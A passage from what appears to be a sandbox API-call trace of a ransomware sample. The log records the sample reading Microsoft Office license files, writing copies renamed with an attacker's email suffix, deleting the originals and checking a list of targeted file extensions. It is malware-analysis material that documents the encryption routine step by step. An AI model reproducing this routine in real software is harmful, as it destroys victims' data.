(lpString1=".dbf", lpString2="m-ms") returned -1 [0181.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0181.919] lstrlenW (lpString=".1cd") returned 4 [0181.919] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0181.919] lstrlenW (lpString=".jpg") returned 4 [0181.919] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.920] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10623) returned 1 [0181.920] CloseHandle (hObject=0x344) returned 1 [0181.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220 [0181.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0181.921] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.921] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0181.922] GetLastError () returned 0x0 [0181.922] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x297f, lpOverlapped=0x0) returned 1 [0181.925] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2980, lpOverlapped=0x0) returned 1 [0181.927] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.927] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x100, lpOverlapped=0x0) returned 1 [0181.927] SetEndOfFile (hFile=0x530) returned 1 [0181.927] CloseHandle (hObject=0x530) returned 1 [0181.927] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.927] SetEndOfFile (hFile=0x344) returned 1 [0181.932] CloseHandle (hObject=0x344) returned 1 [0181.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1 [0181.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0181.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0181.934] lstrlenW (lpString=".doc") returned 4 [0181.934] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.934] lstrlenW (lpString=".docx") returned 5 [0181.934] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.934] lstrlenW (lpString=".pdf") returned 4 [0181.934] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.934] lstrlenW (lpString=".xls") returned 4 [0181.934] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.934] lstrlenW (lpString=".xlsx") returned 5 [0181.934] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.934] lstrlenW (lpString=".ppt") returned 4 [0181.934] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0181.935] lstrlenW (lpString=".zip") returned 4 [0181.935] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.935] lstrlenW (lpString=".rar") returned 4 [0181.935] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.935] lstrlenW (lpString=".bz2") returned 4 [0181.935] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.935] lstrlenW (lpString=".7z") returned 3 [0181.935] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0181.935] lstrlenW (lpString=".dbf") returned 4 [0181.935] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0181.935] lstrlenW (lpString=".1cd") returned 4 [0181.935] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0181.935] lstrlenW (lpString=".jpg") returned 4 [0181.935] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.936] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6729) returned 1 [0181.936] CloseHandle (hObject=0x344) returned 1 [0181.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220 [0181.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0181.938] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.938] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0181.939] GetLastError () returned 0x0 [0181.939] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1a49, lpOverlapped=0x0) returned 1 [0181.942] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1a50, lpOverlapped=0x0) returned 1 [0181.943] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.943] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x102, lpOverlapped=0x0) returned 1 [0181.943] SetEndOfFile (hFile=0x530) returned 1 [0181.943] CloseHandle (hObject=0x530) returned 1 [0181.944] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.944] SetEndOfFile (hFile=0x344) returned 1 [0181.948] CloseHandle (hObject=0x344) returned 1 [0181.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1 [0182.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0182.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0182.260] lstrlenW (lpString=".doc") returned 4 [0182.261] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.261] lstrlenW (lpString=".docx") returned 5 [0182.261] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.261] lstrlenW (lpString=".pdf") returned 4 [0182.261] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.261] lstrlenW (lpString=".xls") returned 4 [0182.261] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.261] lstrlenW (lpString=".xlsx") returned 5 [0182.261] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.261] lstrlenW (lpString=".ppt") returned 4 [0182.261] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0182.261] lstrlenW (lpString=".zip") returned 4 [0182.261] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.261] lstrlenW (lpString=".rar") returned 4 [0182.261] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.261] lstrlenW (lpString=".bz2") returned 4 [0182.261] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.261] lstrlenW (lpString=".7z") returned 3 [0182.262] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0182.262] lstrlenW (lpString=".dbf") returned 4 [0182.262] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0182.262] lstrlenW (lpString=".1cd") returned 4 [0182.262] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0182.262] lstrlenW (lpString=".jpg") returned 4 [0182.262] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.264] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=4208) returned 1 [0182.264] CloseHandle (hObject=0x44c) returned 1 [0182.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220 [0182.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0182.266] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.266] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.267] GetLastError () returned 0x0 [0182.267] ReadFile (in: hFile=0x44c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1070, lpOverlapped=0x0) returned 1 [0182.269] WriteFile (in: hFile=0x388, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1080, lpOverlapped=0x0) returned 1 [0182.271] ReadFile (in: hFile=0x44c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.271] WriteFile (in: hFile=0x388, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x106, lpOverlapped=0x0) returned 1 [0182.271] SetEndOfFile (hFile=0x388) returned 1 [0182.271] CloseHandle (hObject=0x388) returned 1 [0182.272] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.272] SetEndOfFile (hFile=0x44c) returned 1 [0182.282] CloseHandle (hObject=0x44c) returned 1 [0182.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1 [0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0182.284] lstrlenW (lpString=".doc") returned 4 [0182.284] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.284] lstrlenW (lpString=".docx") returned 5 [0182.284] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.284] lstrlenW (lpString=".pdf") returned 4 [0182.284] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.284] lstrlenW (lpString=".xls") returned 4 [0182.284] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.284] lstrlenW (lpString=".xlsx") returned 5 [0182.284] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.284] lstrlenW (lpString=".ppt") returned 4 [0182.284] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0182.284] lstrlenW (lpString=".zip") returned 4 [0182.284] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.284] lstrlenW (lpString=".rar") returned 4 [0182.284] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.284] lstrlenW (lpString=".bz2") returned 4 [0182.285] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.285] lstrlenW (lpString=".7z") returned 3 [0182.285] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0182.285] lstrlenW (lpString=".dbf") returned 4 [0182.285] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0182.285] lstrlenW (lpString=".1cd") returned 4 [0182.285] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0182.285] lstrlenW (lpString=".jpg") returned 4 [0182.285] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.286] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=20841) returned 1 [0182.286] CloseHandle (hObject=0x44c) returned 1 [0182.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220 [0182.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0182.287] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.287] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.288] GetLastError () returned 0x0 [0182.288] ReadFile (in: hFile=0x44c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x5169, lpOverlapped=0x0) returned 1 [0182.291] WriteFile (in: hFile=0x388, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5170, lpOverlapped=0x0) returned 1 [0182.293] ReadFile (in: hFile=0x44c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.293] WriteFile (in: hFile=0x388, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x102, lpOverlapped=0x0) returned 1 [0182.293] SetEndOfFile (hFile=0x388) returned 1 [0182.293] CloseHandle (hObject=0x388) returned 1 [0182.293] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.294] SetEndOfFile (hFile=0x44c) returned 1 [0182.420] CloseHandle (hObject=0x44c) returned 1 [0182.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1 [0182.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0182.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0182.949] lstrlenW (lpString=".doc") returned 4 [0182.949] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.949] lstrlenW (lpString=".docx") returned 5 [0182.949] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.949] lstrlenW (lpString=".pdf") returned 4 [0182.949] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.949] lstrlenW (lpString=".xls") returned 4 [0182.949] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.949] lstrlenW (lpString=".xlsx") returned 5 [0182.949] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.949] lstrlenW (lpString=".ppt") returned 4 [0182.949] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0182.949] lstrlenW (lpString=".zip") returned 4 [0182.949] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.949] lstrlenW (lpString=".rar") returned 4 [0182.949] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.950] lstrlenW (lpString=".bz2") returned 4 [0182.950] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.950] lstrlenW (lpString=".7z") returned 3 [0182.950] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0182.950] lstrlenW (lpString=".dbf") returned 4 [0182.950] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0182.950] lstrlenW (lpString=".1cd") returned 4 [0182.950] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0182.950] lstrlenW (lpString=".jpg") returned 4 [0182.950] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.955] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=20844) returned 1 [0182.955] CloseHandle (hObject=0x388) returned 1 [0182.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220 [0182.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.957] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.957] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0182.958] GetLastError () returned 0x0 [0182.958] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x516c, lpOverlapped=0x0) returned 1 [0182.961] WriteFile (in: hFile=0x444, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5170, 